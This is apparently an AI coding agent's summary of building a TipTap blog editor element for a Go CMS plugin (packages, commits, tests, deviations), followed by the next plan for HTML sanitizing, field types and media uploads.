- **Tasks:** 3 (Task 1 resolved by the orchestrator, Tasks 2 and 3 executed)
- **Files:** 24 in sm-journal-plugin (21 created, 3 modified)
## Task 1 checkpoint (resolved): package report
The orchestrator ran the plan's registry verify command for the five editor packages at 3.31.4. Result: `registry-ok`.
| Package | Version | License | Repository | Install scripts |
|---------|---------|---------|------------|-----------------|
| @tiptap/core | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
| @tiptap/pm | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
| @tiptap/starter-kit | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
| @tiptap/extension-table | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
| @tiptap/extension-image | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
Maintainers are on the tiptap.dev and ueber.io domains plus tiptap-bot; 3.31.4 is the current `latest` dist-tag.
Human reply, verbatim:
> packages approved
Version Task 2 installed: **3.31.4**, pinned exactly (`npm install --save-exact`) for all five packages. Installed devDependencies: vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. npm 12 blocked esbuild 0.27.7's `postinstall` (not in `allowScripts`); esbuild works without it through its optional platform package `@esbuild/linux-x64`, so no script was approved.
## Accomplishments
- **Build (D-16):** private ESM `package.json` with exact pins and a committed `package-lock.json`; `vite.config.ts` builds `assets/src/blogeditor/index.ts` into `assets/dist/blogeditor.js` and `blogeditor.css` (fixed names, minified, exports kept) and configures vitest on happy-dom; `scripts/check-dist.sh` rebuilds into a temp dir and fails with `check-dist: assets/dist is stale; run npm run build and commit assets/dist`; `node_modules/` ignored; `admin.go` embeds both files.
- **Element (D-01, D-03, D-13):** light-DOM `BlogEditorElement` with the value/dirty logic of the interfaces skeleton, `emitUpdate: false` loads outside the undo history, `summer-change` on user edits only, an exact-string Source tab, `disabled`, `invalid`, `locale` (as `lang`) and `ui-locale` (labels); `injectCSS: false` with the ProseMirror base rules in `blogeditor.css`, every selector under the tag and only `--c-*` colours.
- **Preservation (D-03, D-04):** `rawHtml` text cards with an "Edit as HTML" action, `figure`/`figureImage`/`figcaption`, `embed`, `span` mark, the `htmlAttributes` global attribute map, tables without colgroup or min-width, cells without TipTap's align rewrite, StarterKit without the trailing node and with links that gain nothing.
- **Serializer:** `captureBlocks` splits the source by position, validates that the pieces parse to the same DOM as the whole, and parses each alone; `serializeDocument` aligns the captured blocks with the document (prefix, suffix, LCS) and emits original bytes for unchanged runs, raw HTML verbatim and the rest through `DOMSerializer` in an inert document, with tables in thead/bare-cell form. `editor.getHTML()` is never the value.
- **Toolbar, embeds, links, uploads (D-04, D-05, D-18):** `buildToolbar` with every listed control; `parseEmbedUrl` and `EMBED_PROVIDERS` (YouTube only); `isPolicyUrl` as Link's `isAllowedUri` and in the link input; uploads by picker or drop as `summer-upload`, insert on `summer-upload-result` with a required alt and optional caption, error and 60 s timeout in an `aria-live` status line.
- **Corpus (D-05):** `editor-corpus.json` with 15 entries (`embed-youtube`, `image-without-caption`, `image-with-caption`, `table-header-row`, `links`, `headings`, `bullet-list`, `ordered-list`, `blockquote`, `ordered-list-start-3`, `inline-marks`, `code-block`, `horizontal-rule`, `hard-break`, `combined`), built only through editor commands and typing.
- **README:** a "Blog Editor" section (element, contract, untouched values, embeds, link rule, upload flow, JS build, corpus) plus Dependencies and Testing lines.
## Task Commits
All code commits are in `../sm-journal-plugin` (branch main):
1. **Task 1: package check** - resolved by the orchestrator (no commit)
2. **Task 2: tracer** - `234e616` build(editor): blog editor JS build and drift gate; `47f3032` feat(editor): blog editor element with exact untouched value
3. **Task 3: expansion** - `086e485` feat(editor): preservation schema, block reuse, toolbar, uploads and embeds
## Bundle
- `assets/dist/blogeditor.js`: 466,051 bytes minified (147,281 bytes gzip -9)
- `assets/dist/blogeditor.css`: 7,480 bytes
- `grep -cE "eval\(|new Function\(" assets/dist/blogeditor.js` prints 0; the only `createElement("style")` is TipTap's unused `createStyleTag` (injectCSS is false).
## Verification
- Task 2 verify (tracer gate re-run before expansion): smoke tests, `check-dist.sh`, `go vet ./...` and `go test ./classes/ ./controllers/...` passed.
- Task 3 verify: `tsc --noEmit`, the full vitest run (2 files, 33 tests), `check-dist.sh` and `go vet ./...` pass.
- Acceptance greps: the tag is in the bundle, `admin.go` has one embed line for the bundle, `git check-ignore node_modules` prints `node_modules`, `serializeDocument`/`parseEmbedUrl`/`isPolicyUrl` are exported, the corpus has 15 entries with the embed, figcaption, table and `start="3"` and 0 matches of `<iframe|target=|rel=| on[a-z]+=|style=`, `data-embed` is in the bundle, and all three event names are in it.
## TDD (Task 3, tdd="true")
- **RED:** the expanded `smoke.test.ts` and `corpus.test.ts` were written and run against the Task 2 element before the schema, serializer, toolbar and element wiring. Target test `preservation schema > leaves every other top-level block byte-identical after editing one paragraph` failed on its assertion (footer, style block, table and figure flattened, link attributes reordered). `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`). vitest's `tap-flat` reporter prints no `# tests/# pass/# fail` lines, so those three lines were counted from its non-skipped `ok`/`not ok` lines and appended to the record.
- **GREEN:** the implementation made all 33 cases pass.
- **Commit shape:** the plan prescribes one `feat(editor)` commit for Task 3, so no separate `test(...)` RED commit exists. `embed.ts`, `labels.ts` and `extensions.ts` were drafted just before the tests, so the `parseEmbedUrl` and `isPolicyUrl` cases were already green at RED time; every behavior that needed the schema, serializer, toolbar or upload flow was red.
## Decisions Made
See key-decisions in the frontmatter.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 3 - Blocking] Fixture source not readable; synthetic fixture with the same structure**
- **Found during:** Task 2
- **Issue:** The environment's permission classifier refused every read of `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json` (PII data handling), including `ls`.
- **Fix:** `imported-post.html` is a synthetic post with the structure the plan requires: rendered-markdown blocks (h2, h3, p with em/strong, ul, ol, blockquote, links), the author footer in the shape the repository already uses in `classes/format_html_test.go` (`itemscope`, `itemtype`, `itemprop`, `div` and `span` with `style`, neutral name and `cdn.example.test` photo), a `style` block, a table with thead, a figure with img and figcaption, a link with `target` and `rel`, a paragraph with `&quot;` entities, plus `&amp;`, `&nbsp;`, `&ndash;` and `&times;`. No real author or post text is copied. A human may swap in the real export later; the tests do not depend on its wording.
- **Commit:** 47f3032
**2. [Rule 3 - Blocking] Library mode does not minify ES output**
- **Found during:** Task 2
- **Issue:** Vite 7 `build.lib` with `formats: ['es']` forces `minifyWhitespace: false` (587 KB); the acceptance assumes a minified bundle.
- **Fix:** the same single ES entry through `rollupOptions.input` with `preserveEntrySignatures: 'exports-only'`, `entryFileNames: 'blogeditor.js'`, `assetFileNames: 'blogeditor[extname]'`, `modulePreload: false` (384 KB at Task 2, 466 KB at Task 3). The admin loads it as `type="module"`, as before.
- **Files modified:** vite.config.ts
- **Commit:** 234e616
**3. [Rule 2 - Security] on* attributes never captured; uploaded URLs checked**
- **Found during:** Task 3
- **Issue:** a global attribute map that captures every unmodelled attribute would render `onerror`/`onload` from stored HTML into the live admin DOM; an upload answer could carry a URL outside the policy.
- **Fix:** `captureAttributes` and `renderCaptured` skip `on*` names (test asserts the editor's `img` has no `on*` attribute); a `summer-upload-result` URL that fails `isPolicyUrl` is shown as an upload error. The serializer and the raw HTML `renderHTML` build DOM only in an inert document.
- **Commit:** 086e485
**4. [Rule 1 - Bug] Replaced values in the undo history; edited value lost on detach**
- **Found during:** Task 3
- **Issue:** TipTap's `setContent` records history, so undo after an external value brought back the replaced document; after `disconnectedCallback` destroyed the editor, a dirty value fell back to the served string.
- **Fix:** loads run as `chain().setMeta('addToHistory', false).setContent(...)`; on disconnect a dirty WYSIWYG value is kept as the element's value. Both have tests.
- **Commit:** 086e485
**5. Files outside the plan's lists**
- `serializer.ts` was created in Task 2 (minimal, `DOMSerializer` only) so the tracer never used `getHTML()`; Task 3 replaced it as planned.
- `tests/blogeditor/helpers.ts` holds the shared mount/typing helpers of both test files.
- `plugin_test.go` (`TestJournalSVGEmbed`) asserts that `AdminFS` holds both bundle files and that the script defines the tag. The root package's `TestMain` starts testcontainers, so this runs only on a Docker host (plan 06); it compiles and `go vet` is clean here.
**6. Scope notes on plan wording**
- `RAW_HTML_TAGS` covers more tags than the plan lists (see key-decisions).
- Stored links with a scheme outside the policy keep their text but not the link once their block is edited (the plan said "preserved in the editor"); unedited blocks keep their bytes. This matches what the server does on an edited save.
- In edited blocks, link attributes come out as `target`, `rel`, `href` (TipTap merges the null option defaults first); values are unchanged and unedited blocks keep their bytes.
- Table cells drop TipTap's `align` attribute so a stored `style="text-align: ..."` or `align` is kept verbatim through the attribute map instead of being rewritten.
- In the corpus, the `blockquote` builder sits between the two ordered-list builders so the `combined` document keeps two lists (TipTap joins adjacent lists).
---
**Total deviations:** 4 auto-fixed (2 blocking, 1 security, 1 bug) plus file and scope notes. **Impact:** no change to the element contract, the embed markup or the corpus shape that plans 03 and 04 consume.
## Issues Encountered
- No Docker on this host: the root package's Go tests (including the new AdminFS assertion) need testcontainers and run in plan 06.
- happy-dom covers the element logic, but not browser selection, IME, real drag and drop or layout; the browser check belongs to the UAT step.
## Known Stubs
None. The `field-name`, `record-id` and `options` attributes are accepted and unused, because this type has no options and does not need the record id; that is the contract, not a stub.
## Next Phase Readiness
- Plan 03 registers `blogeditor`/`mlblogeditor` with `Element: "golem15-journal-blogeditor"`, `Scripts: ["assets/dist/blogeditor.js"]` and `Styles: ["assets/dist/blogeditor.css"]` (already in `adminFS`), and reads `tests/blogeditor/fixtures/editor-corpus.json` in place for the Go policy test. The policy must allow `figure` `data-embed`/`data-id`, any `img` `alt` (the corpus has one with `:`, `?` and `"`), and `ol` `start`.
- Plan 04 copies `editor-corpus.json` byte for byte into the layer and mirrors the embed provider table (one YouTube entry, id `^[A-Za-z0-9_-]{11}$`).
## Broken-windows ledger
- deviation: `tests/blogeditor/fixtures/imported-post.html` (sm-journal-plugin) is synthetic.
- unrun-verify: the new `TestJournalSVGEmbed` assertion in sm-journal-plugin `plugin_test.go` needs Docker (plan 06).
## Self-Check: PASSED
- Created files exist in ../sm-journal-plugin: assets/src/blogeditor/{index,element,extensions,serializer,toolbar,embed,labels}.ts, blogeditor.css, assets/dist/blogeditor.js and .css, tests/blogeditor/{helpers,smoke.test,corpus.test}.ts, fixtures/imported-post.html and editor-corpus.json, scripts/check-dist.sh, package.json, package-lock.json, vite.config.ts, tsconfig.json, .gitignore.
- Commits exist in ../sm-journal-plugin: 234e616, 47f3032, 086e485.

View File

@@ -0,0 +1,378 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 03
type: execute
wave: 2
depends_on: ["16.2-01", "16.2-02"]
coupling_justified: ["16.2-04: both plans add the same four editor-output rules (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt any text, ol start integer), each in its own repository; the set is fixed in both plans' text and checked against the same plan 02 corpus, neither plan reads the other's files, and either one stops and reports if the corpus needs a fifth rule"]
files_modified:
- ../sm-journal-plugin/classes/format_html.go
- ../sm-journal-plugin/classes/editor_policy_test.go
- ../sm-journal-plugin/classes/blog_editor.go
- ../sm-journal-plugin/classes/media_store.go
- ../sm-journal-plugin/classes/media_store_test.go
- ../sm-journal-plugin/field_types.go
- ../sm-journal-plugin/controllers/posts.go
- ../sm-journal-plugin/controllers/categories.go
- ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
- ../sm-journal-plugin/controllers/api/media.go
- ../sm-journal-plugin/controllers/api/media_test.go
- ../sm-journal-plugin/models/post/fields.yaml
- ../sm-journal-plugin/models/category/fields.yaml
- ../sm-journal-plugin/lang/en/lang.yaml
- ../sm-journal-plugin/lang/pl/lang.yaml
- ../sm-journal-plugin/posts_admin_smoke_test.go
- ../sm-journal-plugin/journal_api_categories_test.go
- ../sm-journal-plugin/README.md
- .planning/notes/journal-html-sanitizing-bluemonday.md
autonomous: true
requirements: [D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
estimate:
tokens: 110000
raw_tokens: 110000
tasks: 3
confidence: low
must_haves:
truths:
- "D-08 and D-14: Journal registers the field types blogeditor and mlblogeditor (element golem15-journal-blogeditor, script assets/dist/blogeditor.js, style assets/dist/blogeditor.css) on the plugin; post content in models/post/fields.yaml is type mlblogeditor; excerpt keeps mltextarea."
- "D-10 (amended 2026-10-10) and D-04: Decode accepts a string (nil decodes to the empty string) and stores classes.SanitizeHTMLReport's output for every locale cabana hands it, post and category content alike, the raw HTML block and source-tab edits included: the exact submitted bytes and no notice when the policy keeps everything, otherwise the stripped HTML plus pact.FormFieldNotice values naming the removed elements, attributes and comments (lang keys with en and pl plural forms); a save never fails because of unsafe markup; any other value type is a FormFieldError (422 on content)."
- "D-02: an admin save that writes content stores the same sanitized HTML in content and content_html for that locale: the host column through FormBeforeCreate/FormBeforeUpdate, a non-default locale through FormAfterCreate/FormAfterUpdate and the translation writer; the admin path no longer runs goldmark (FormatHTML) on content."
- "D-03 (Journal half) and todo journal-imported-html-admin-resave: a save that does not write content (cabana skipped it as untouched) leaves content and content_html byte-identical."
- "D-07 (assumption A1): Load serves content when its first non-whitespace character is '<'; otherwise (a markdown post) it serves that locale's content_html, and FormatHTML(content) when content_html is empty; there is no format flag and no new column."
- "D-09: POST and PUT /_journal/api/v1/posts keep markdown content with FormatHTML-rendered content_html, and POST /_journal/api/v1/media/upload keeps its response shape and validation messages."
- "D-19 (amended): category content uses blogeditor (not translatable, matching the Go model and the frozen PHP tree) and is stripped and reported like post content; the 422 CheckHTML gate in the Categories controller's FormBeforeCreate/FormBeforeUpdate is retired (blank content still becomes NULL) and TestCategoriesAdminContent asserts the strip; no public category write path exists (routes.go mounts GET /_journal/api/v1/categories only), so no public contract changes."
- "D-18 (Journal half): the blogeditor and mlblogeditor Upload stores an image through the media storage extracted from the public upload route (same key layout /journal/<folder>/<name>, same unique suffix, same public URL), accepts only jpg, jpeg, png, gif and webp whose first bytes sniff as that image type, at most 10240 KiB."
- "D-05 (amended): htmlPolicy is extended for exactly the Blog Editor's own output, and nothing else: figure data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$, img alt with any text, ol start matching ^[0-9]+$; every entry of plan 02's editor-corpus.json passes SanitizeHTML byte for byte with an empty removal report (TestEditorOutputPassesPolicy), while iframe, other data-* attributes, other providers and malformed ids are still stripped."
artifacts:
- path: "../sm-journal-plugin/classes/blog_editor.go"
provides: "BlogEditorTypes, LooksLikeHTML and the Decode/Load/ListValue/Upload funcs"
contains: "func BlogEditorTypes"
- path: "../sm-journal-plugin/classes/format_html.go"
provides: "SanitizeHTMLReport, HTMLRemovals and the editor-output policy extension"
contains: "func SanitizeHTMLReport"
- path: "../sm-journal-plugin/classes/editor_policy_test.go"
provides: "the Go half of the editor-output policy cross-check"
contains: "TestEditorOutputPassesPolicy"
- path: "../sm-journal-plugin/classes/media_store.go"
provides: "StoreMedia shared by the public upload route and the editor Upload"
contains: "func StoreMedia"
- path: "../sm-journal-plugin/field_types.go"
provides: "Plugin.FormFieldTypes (pact.HasFormFieldTypes)"
contains: "HasFormFieldTypes"
- path: "../sm-journal-plugin/models/post/fields.yaml"
provides: "post content on the Blog Editor"
contains: "mlblogeditor"
key_links:
- from: "../sm-journal-plugin/classes/blog_editor.go decodeBlogHTML"
to: "../sm-journal-plugin/classes/format_html.go SanitizeHTMLReport"
via: "FormFieldDecoded{Value: sanitized, Notices: removalNotices(report)} per locale"
pattern: "SanitizeHTMLReport"
- from: "../sm-journal-plugin/classes/editor_policy_test.go"
to: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02)"
via: "every corpus entry must come back from SanitizeHTML unchanged"
pattern: "editor-corpus.json"
- from: "../sm-journal-plugin/controllers/posts.go preparePostWrite"
to: "cabana.FieldWritesFromContext"
via: "content_html := the written default-locale content"
pattern: "FieldWritesFromContext"
- from: "../sm-journal-plugin/controllers/posts.go FormAfterUpdate"
to: "cabana.TranslationWriter.WriteTranslated"
via: "content_html per written non-default locale (RESEARCH Pitfall 7)"
pattern: "content_html"
- from: "../sm-journal-plugin/controllers/api/media.go UploadMedia"
to: "../sm-journal-plugin/classes/media_store.go StoreMedia"
via: "extracted storage, response unchanged"
pattern: "StoreMedia"
prohibitions:
- statement: "htmlPolicy is never relaxed for iframe, object, embed, script, style, event attributes, target, rel, other data-* attributes or URL schemes; its only 16.2 additions are the four editor-output attributes, and the layer mirror (plan 04) adds the same four."
status: unresolved
verification: judgment
- statement: "The admin path never stores submitted bytes the policy would change: every written content value is SanitizeHTMLReport output, and no admin save fails because of unsafe markup."
status: unresolved
verification: judgment
- statement: "The public Journal write API and the public media upload route keep the PHP contract: request fields, response shapes and messages do not change."
status: unresolved
verification: judgment
- statement: "No per-post format flag, new column or migration is added for HTML versus markdown posts."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
This plan's slice (user decision 1, plan 03): Journal's Go integration in `../sm-journal-plugin`. The element from plan 02 becomes the `blogeditor`/`mlblogeditor` field types on the framework API from plan 01; post content and category content switch to it; the admin save path stores sanitized HTML in both columns without goldmark and reports what it stripped; the shared policy admits the editor's own output; editor uploads reuse the existing media storage.
## Revision 2026-10-10 (16.1 drift, CONTEXT D-02, D-04, D-05, D-10 and D-19 amended)
16.1 replaced the regex gate with bluemonday v1.0.27 (sm-journal-plugin a3551f2, 0d00ec8, 5f47083): `rejectUnsafe` is gone; `FormatHTML` renders with goldmark and then strips through `SanitizeHTML`; `FormatTranslation` sanitizes per-locale `content_html` on API and import writes; `CheckHTML` refuses whenever the policy would change the HTML. Under the amended D-10, every admin write of post and category content stores the policy's output, never fails because of unsafe markup, and reports what was removed. This plan therefore:
- decodes with `classes.SanitizeHTMLReport` (new) instead of `CheckHTML`, and returns the removals as plan 01's `pact.FormFieldNotice` values;
- retires the Categories controller's 422 gate (`TestCategoriesAdminContent` now asserts the strip);
- extends the policy for exactly the editor's own output (amended D-05) and pins it with plan 02's corpus (new Task 3).
Where RESEARCH (Pattern 6, Pitfall 10, Code Example 2, Security Domain) or PATTERNS describe CheckHTML refusing or "no sanitizer", this plan's text wins. The pre-phase sm-journal-plugin head is now c60abc6 (requires summercms v0.1.17).
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
## Assumptions (explicit)
- **A1, D-07 detection (user decision 4, delegated):** a stored content value is HTML when its first non-whitespace character is `<` (this includes a leading HTML comment); anything else is a markdown post and is served as its `content_html`. Evidence: in the local export (105 posts) 40 start with `<` and none of those has markdown block or emphasis markers; 65 do not start with `<` (markdown, some with a raw HTML footer such as ekstrakt-z-turkey-tail). A markdown post that starts with an HTML tag would open as raw markdown text; plan 05 reports the split on UAT before release. Covered by tests here and in plan 06.
- **Load fallback:** a markdown value whose `content_html` is empty for that locale is served as `FormatHTML(content)` (a format error serves the content unchanged), so the editor never opens empty on a post that has a body.
- **Options:** `mlblogeditor` takes `htmlColumn` (the translatable attribute holding the rendered HTML, `content_html` for posts) and `uploadFolder`; `blogeditor` takes `uploadFolder` only. `uploadFolder` follows the public route's folder rule (at most 100 characters, `^[A-Za-z0-9_\-/]*$`, no `..`). Posts use `posts`, categories use `categories`.
- **Editor upload filenames:** the base name is lowercased and every character outside `[a-z0-9._-]` becomes `-` (runs collapsed, extension kept, empty name becomes `image`), so the inserted `src` needs no escaping. The public route keeps its own naming (D-09).
- **The posts import action** (`runImportPosts`, `console/import_posts.go`) keeps calling `FormatHTML` (goldmark, then `SanitizeHTML`) and `FormatTranslation` on PHP exports; it is not a form save and reports nothing.
- **Public API category writes (API parity check, done at planning time):** `routes.go` mounts only `GET /_journal/api/v1/categories`; there is no public category write path, so retiring the admin 422 changes no public contract. The public posts routes keep `FormatHTML` and `FormatTranslation` (D-09); their responses do not change shape.
- **`classes.CheckHTML` stays exported** (sm-journal-plugin is a tagged module; removing an exported function would be a breaking change for no gain). After this plan no admin or API write path calls it; it remains the predicate counterpart of the layer's `isSafeJournalHtml` and is used by the policy cross-check test. Its doc comment and README row say exactly that.
- **Removal report:** `SanitizeHTMLReport` aligns the start tags of the input with those of bluemonday's output in order (bluemonday only removes, never adds or reorders). An unmatched input tag is a removed element; a raw attribute name missing from, or with a changed decoded value in, the matched output tag is a removed attribute (a `style` that lost a property counts under `style`); comments count separately; anything else that changed sets `Other`. Its report is empty exactly when the returned string equals the input. Names are distinct, first-seen order, at most 10 per list (counts stay exact).
- **Policy extension (amended D-05), fixed set shared with plan 04's layer mirror:** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$` (the embed placeholder); `img` `alt` with any value (the editor's alt field takes free text; UGC's Paragraph pattern drops `:`, `?`, `"` and more; an attribute value is escaped on output and carries no URL); `ol` `start` `^[0-9]+$` (TipTap's ordered-list input rule writes it when a list does not start at 1). If plan 02's corpus shows any other attribute the policy strips, stop and report: plans 03 and 04 must add it together, and only if it is not a URL, style, event or iframe attribute.
- **ListValue:** strips tags, collapses whitespace and truncates to 120 runes with an ellipsis. No Journal list uses it today; it exists for any list column a host declares with the alias.
## Artifacts this phase produces (this plan)
- `classes.BlogEditorTypes(app func() *backpack.App) []pact.FormFieldType`, `classes.LooksLikeHTML(s string) bool`, `classes.BlogEditorElement` (const `golem15-journal-blogeditor`), unexported `decodeBlogHTML`, `loadBlogHTML`, `blogListValue`, `uploadBlogImage`, `safeUploadName`, `checkBlogOptions`, `removalNotices`.
- `classes.SanitizeHTMLReport(doc string) (string, classes.HTMLRemovals)`, `classes.HTMLRemovals{Elements, ElementCount, Attributes, AttributeCount, Comments, Other}` with `Empty() bool`; `SanitizeHTML` becomes the string half of it; `CheckHTML` kept (doc comment updated); `newHTMLPolicy` gains the four editor-output attributes.
- `classes.StoreMedia(ctx, bucket *blob.Bucket, folder, filename string, body io.Reader) (classes.StoredMedia, error)`, `classes.StoredMedia{URL, Path}`, `classes.MediaError{Field, Message}`, `classes.MediaMaxBytes`, `classes.MediaFolderPattern`, moved `mediaObjectPath` and `uniqueMediaKey`.
- `(*journal.Plugin).FormFieldTypes()` in the new `field_types.go`; `postsAdminController.FormAfterCreate`, `postsAdminController.FormAfterUpdate`, unexported `writeContentHTMLTranslations`.
- Lang keys `golem15.journal::lang.editor.content_invalid`, `golem15.journal::lang.editor.image_invalid`, `golem15.journal::lang.editor.upload_failed`, and the plural notices `golem15.journal::lang.editor.removed_elements`, `removed_attributes`, `removed_comments` and the plain `markup_changed` (en and pl).
- Field type aliases `blogeditor`, `mlblogeditor`; fields.yaml keys `htmlColumn`, `uploadFolder`.
- Smoke test `TestBlogEditorTracerSmoke`, `TestBlogEditorUploadSmoke`; moved tests in `classes/media_store_test.go`; `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` in `classes/editor_policy_test.go`.
- Updated Postgres tests (compiled by vet, run on a Docker host): `TestPostsFormCompiles`, `TestPostsAdminCreateSmoke`, `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`.
- Decision note amendment in `.planning/notes/journal-html-sanitizing-bluemonday.md` (summercms.go, docs commit).
<objective>
Wire the Blog Editor into Journal: field types, strip-and-report Decode, Load, post and category fields, admin save hooks, the policy extension for the editor's own output and editor uploads (D-02 to D-10, D-14, D-18, D-19).
Purpose: Journal post and category content are edited with the Blog Editor; an admin save keeps imported HTML intact when nothing is unsafe, strips what is and tells the admin what it removed.
Output: classes/blog_editor.go, SanitizeHTMLReport and the policy extension in classes/format_html.go, classes/media_store.go, field_types.go, hook changes (posts and categories), fields.yaml switches, lang keys, the policy cross-check test, updated Docker tests, smoke tests, README, decision note amendment.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
@.planning/todos/pending/journal-imported-html-admin-resave.md
@.planning/todos/pending/cabana-richeditor-field-type.md
Repository: `../sm-journal-plugin` (branch main), building against the `../summercms.go` working tree through its go.mod `replace` and `go.work` (so plan 01's API is available without a tag). Commits: no co-author tags, stage by explicit path. The identifier list in 16.2-01-SUMMARY applies if Task 1 of plan 01 renamed anything (read it first). The pre-phase sm-journal-plugin head is c60abc6 (16.1 shipped a3551f2, 0d00ec8, 5f47083 and c60abc6 after this phase was first planned); acceptance checks below diff against it. The decision note lives in this repository (summercms.go `.planning/notes/`) and is committed there as a separate docs commit.
No Docker here: the root package (TestMain starts Postgres) and `./models` cannot run. Smoke tests live in `./controllers` and `./classes`; the root-package Postgres tests are updated for correctness (go vet compiles them) and run on a Docker host (plan 05 gate, plan 06).
<interfaces>
From plan 01 (pact and cabana, see 16.2-01-SUMMARY for the final names):
```go
type FormFieldType struct { Name, Element string; Translatable bool; Scripts, Styles, Options []string
CheckOptions func(map[string]any) error; Decode func(context.Context, FormFieldValue) (FormFieldDecoded, error)
Load func(context.Context, FormFieldValue) (any, error)
ListValue func(any) string; Upload func(context.Context, FormFieldUpload) (FormFieldUploadResult, error) }
type FormFieldDecoded struct { Value any; Notices []FormFieldNotice }
type FormFieldNotice struct { Message string; Params map[string]string; Count int } // cabana localizes; Count > 0 = plural
type FormFieldValue struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Locale string
Default bool; Value any; Translated func(attribute string) (string, bool, error) }
type FormFieldUpload struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Filename string; Body io.Reader }
type FormFieldError struct{ Messages []string }
// cabana
type FieldWrite struct { Locale string; Default bool; Value any }
func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool)
func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context
func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*cabana.FormSchema, error)
func TxFromContext(ctx context.Context) (*gorm.DB, bool)
type TranslationWriter interface { /* DefaultLocale, EnabledLocales, WriteTranslated(ctx, tx, model, field, locale, value), TranslatedExact */ }
```
Journal code to change (read before editing):
- `controllers/posts.go` `preparePostWrite` (204-221) runs `classes.FormatHTML(post.Content)` and sets `post.ContentHTML`: this is the admin-path goldmark call to replace.
- `controllers/categories.go` `prepareCategoryWrite` (65-82): blank to NULL plus the CheckHTML 422. The 422 is retired in Task 2 (D-19 amended); blank to NULL stays.
- `journal_api_categories_test.go` `TestCategoriesAdminContent` (138): subtests "unsafe create refused" and "unsafe update refused" with `assertContentRefused`; they become strip assertions in Task 2.
- `posts_admin_smoke_test.go` `TestPostsAdminSaveSanitizesHTML` (159): asserts content stored as submitted and content_html sanitized; under D-02 both columns hold the sanitized HTML (Task 1).
- `controllers/api/media.go` `UploadMedia` (22-91): auth, folder check, extension allowlist, 10240 KiB cap, `mediaObjectPath`, `uniqueMediaKey`, bucket write, 201 `{data:{url,path}}`.
- `models/post.go`: `Content string`, `ContentHTML string`, `Translatable()` includes content and content_html. `models/category.go`: `Content *string`, not translatable.
- `classes/format_html.go`: `newHTMLPolicy` (UGC plus footer, class, microdata, four styles, footnote roles, dir, two chat data attributes), `FormatHTML(src string) (string, error)` (goldmark then SanitizeHTML), `SanitizeHTML(doc string) string`, `FormatTranslation(attrs map[string]any) error`, `CheckHTML(doc string) error` (error when the policy would change doc), unexported `sanitizeHTML` (returns doc unchanged when `sameTokens` holds), `sameTokens`, `htmlTokens`, `rawAttrNames` (duplicate attributes count as a change).
- `classes/format_html_test.go` `unsafePayloads` (the 35 stored-XSS payloads), `classes/check_html_test.go`, `classes/format_translation_test.go`: existing tests that must keep passing.
- `routes.go`: the public routes (no category write).
</interfaces>
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: post content on mlblogeditor end to end (types on the plugin, fields.yaml, strip-and-report Decode, Load with D-07, both columns written by the hooks)</name>
<reversibility rating="costly">D-02 and D-11: every post saved from the admin becomes HTML content (moving back needs an HTML-to-markdown migration), and the aliases blogeditor and mlblogeditor end up in fields.yaml files that a rename must edit.</reversibility>
<precondition>16.2-01-SUMMARY.md and 16.2-02-SUMMARY.md exist; `go -C ../sm-journal-plugin build ./...` succeeds against the current ../summercms.go working tree and ../sm-journal-plugin/assets/dist/blogeditor.js exists.</precondition>
<files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/field_types.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
